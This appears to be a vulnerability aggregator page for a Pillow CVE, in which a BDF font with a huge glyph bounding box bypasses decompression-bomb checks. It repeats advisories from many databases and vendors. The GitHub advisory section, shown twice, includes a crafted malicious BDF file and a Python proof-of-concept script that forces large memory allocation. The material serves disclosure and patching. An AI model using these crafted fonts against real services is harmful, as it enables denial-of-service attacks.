CVE-2026-55379
Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55379- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
EUVDEUVD-2026-41902
7.5
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
EUVD-2026-41902- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-45hq-cxwh-f6vc
7.5
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Summary
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
# width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memory
Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes):
STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")
Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError
Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact
- Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
- Confidentiality: None
- Integrity: None
- Any service loading BDF fonts from untrusted sources (e.g.,
ImageFont.load("user.bdf"),BdfFontFile(fp)) is affected - Loaded glyph images persist in
self.glyph[ch]for the lifetime of the font object — memory is NOT…
- Record
GHSA-45hq-cxwh-f6vc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
NVD
7.5
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55379- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
OSV
7.5
Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
CVE-2026-55379- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-55379
7.5
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
DEBIAN-CVE-2026-55379- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 35 moreShow less
OSVGHSA-45hq-cxwh-f6vc
7.5
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Summary
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
# width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memory
Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes):
STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")
Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError
Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact
- Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
- Confidentiality: None
- Integrity: None
- Any service loading BDF fonts from untrusted sources (e.g.,
ImageFont.load("user.bdf"),BdfFontFile(fp)) is affected - Loaded glyph images persist in
self.glyph[ch]for the lifetime of the font object — memory is NOT…
- Record
GHSA-45hq-cxwh-f6vc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789
- Updated
- 2026-11-02
OSVOESA-2026-3137
8.2
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3137- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVOESA-2026-3138
8.2
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.(CVE-2026-59197)
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3138- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVOESA-2026-3139
7.5
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3139- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3140
7.5
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.(CVE-2026-59200)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3140- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVOESA-2026-3141
7.5
python-pillow security update
Pillow is the friendly PIL fork by Alex Clark and Contributors. PIL is the Python Imaging \ Library by Fredrik Lundh and Contributors. As of 2019, Pillow development is supported by Tidelift. of CVE-2022-22815,CVE-2022-22816)
Security Fix(es):
Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-54059)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.(CVE-2026-54060)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.(CVE-2026-55379)
Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.(CVE-2026-55380)
Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0.(CVE-2026-59198)
Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.(CVE-2026-59204)
- Record
OESA-2026-3141- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-2255
7.5
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
PYSEC-2026-2255- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:39127
7.5
Red Hat Security Advisory: python-pillow security update
- Record
RHSA-2026:39127- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:48759
7.5
Red Hat Security Advisory: python-pillow security update
- Record
RHSA-2026:48759- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:48760
7.5
Red Hat Security Advisory: python-pillow security update
- Record
RHSA-2026:48760- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50221
7.5
Red Hat Security Advisory: Satellite 6.19.3 Async Update
- Record
RHSA-2026:50221- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50222
7.5
Red Hat Security Advisory: Satellite 6.17.10 Async Update
- Record
RHSA-2026:50222- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50223
8.2
Red Hat Security Advisory: Satellite 6.16.12 Async Update
- Record
RHSA-2026:50223- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50263
7.5
Red Hat Security Advisory: Satellite 6.18.8 Async Update
- Record
RHSA-2026:50263- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50319
8.2
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:50319- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRHSA-2026:50336
8.2
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:50336- CVSS 3.1
- 8.2 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H - Updated
- 2026-11-02
OSVRHSA-2026:52551
9.1
Red Hat Security Advisory: python-pillow security update
- Record
RHSA-2026:52551- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVRLSA-2026:39127
7.5
Important: python-pillow security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
-
python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)
-
python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)
-
python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)
-
python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:39127- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55379
7.5
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
UBUNTU-CVE-2026-55379- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-05
OSVALSA-2026:39127 No score
Important: python-pillow security update
Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.
Security Fix(es):
- python-pillow: Pillow: Denial of Service via crafted BDF font file (CVE-2026-55379)
- python-pillow: Pillow: Denial of Service via crafted GD 2.x image file (CVE-2026-55380)
- python-pillow: Pillow: Denial of Service via crafted PCF font data (CVE-2026-54059)
- python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files (CVE-2026-54060)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:39127- Updated
- 2026-11-02
OSVBIT-pillow-2026-55379 No score
Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- Record
BIT-pillow-2026-55379- Updated
- 2026-11-02
OSVCLSA-2026-1786515922 No score
TuxCare security update for pillow (9 CVEs)
TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.
- Record
CLSA-2026-1786515922- Updated
- 2026-11-02
OSVCLSA-2026-1787298843 No score
TuxCare security update for pillow (5 CVEs)
TuxCare rebuilt pillow to address 5 CVEs. Fixed in 9.5.0.post3+tuxcare.
- Record
CLSA-2026-1787298843- Updated
- 2026-11-02
OSVCLSA-2026-1787306626 No score
TuxCare security update for pillow (4 CVEs)
TuxCare rebuilt pillow to address 4 CVEs. Fixed in 9.4.0.post5+tuxcare.
- Record
CLSA-2026-1787306626- Updated
- 2026-11-02
OSVCLSA-2026-1787309468 No score
TuxCare security update for pillow (3 CVEs)
